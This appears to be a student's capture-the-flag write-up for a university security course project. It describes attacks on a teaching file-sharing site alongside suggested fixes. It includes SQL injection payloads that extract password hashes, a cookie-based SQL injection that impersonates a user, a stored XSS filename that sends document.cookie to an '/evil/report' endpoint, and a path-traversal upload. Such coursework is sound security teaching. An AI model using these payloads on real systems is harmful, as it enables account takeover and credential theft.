Project 3 Writeup

Flag #3

#Attack Description

I inputted the following into the search files input box: 'UNION SELECT md5_hash FROM users WHERE username='shomil'-- . The search result contains all the filenames that the current user has and the password hash for user shomil .

#Improvement Suggestion

We can try to perform input sanitization before directly using the value. Or we can use prepared statements if possible. Lastly, we can use third-party sql query builders that automatically escapes special values to perform query instead of using raw sql expressions.

Flag #4

Attack Description

I manually set the session_token cookie to 'UNION SELECT 'nicholas'-- and then attemped to visit https://box.cs161.org/site/list.Idid this because I suspected that, when user visits a page, the server performs the following query to get the username: SELECT username FROM sessions WHERE token='%s' where %s is the value of the session_token cookie. Our attacks works since it causes the previous query to always returns nicholas.

Improvement Suggestion

We can try to perform input sanitization before directly using the value. Or we can use prepared statements if possible. Lastly, we can use third-party sql query builders that automatically escapes special values to perform query instead of using raw sql expressions.

Flag #5

Attack Description

I changed the filename of roadmap.pdf (under user nicholas) to <script>fetch('/evil/report? message='+document.cookie)</script> , then shared it to user cs161 . When they visits the list-files page, the javascript is ran and sends his token to the evil backend.

Improvement Suggestion

Again, we need to sanitize user inputs before blindly displaying them. This could be done either by escaping special characters or by simply not allowing them in filenames. Alternatively we can disallow all inline scripts.

Flag #6

Attack Description

Improvement Suggestion

We need to sanitize user inputs before blindly displaying them. This could be done either by escaping special characters or by simply not allowing them in filenames.

Flag #7

Attack Description

I first performed a file search with input 'UNION SELECT username FROM users— to get a list of users and determined that user uboxadmin belongs to the admin. Then I searched again with input 'UNION SELECT md5_hash FROM users WHERE username="uboxadmin"— to obtain the hash of his password. Then I reversed the md5 hash to obtain his password helloworld.

Improvement Suggestion

The server should store a salted password using a secure hash. Also the admin should not be allowed to reuse their password.

Flag #8

Attack Description

I first uploaded a file named ../config/config.yml and then clicks the open button to download it. This works because the server first checks if I have access to the file named ../config/config.yml in file folder but then deliver to me /config/config.yml . This mismatch of the file used in authorization step and delivery step makes this attack possible.

Improvement Suggestion

At the delivery step, the server probably simply concatenate the string /file with the filename first, then parse the concatenated string and retrieve the corresponding file. It should instead navigate to file folder first, then attempt to retrieve the file. In other words, the server should make sure it only fetches files under the file folder.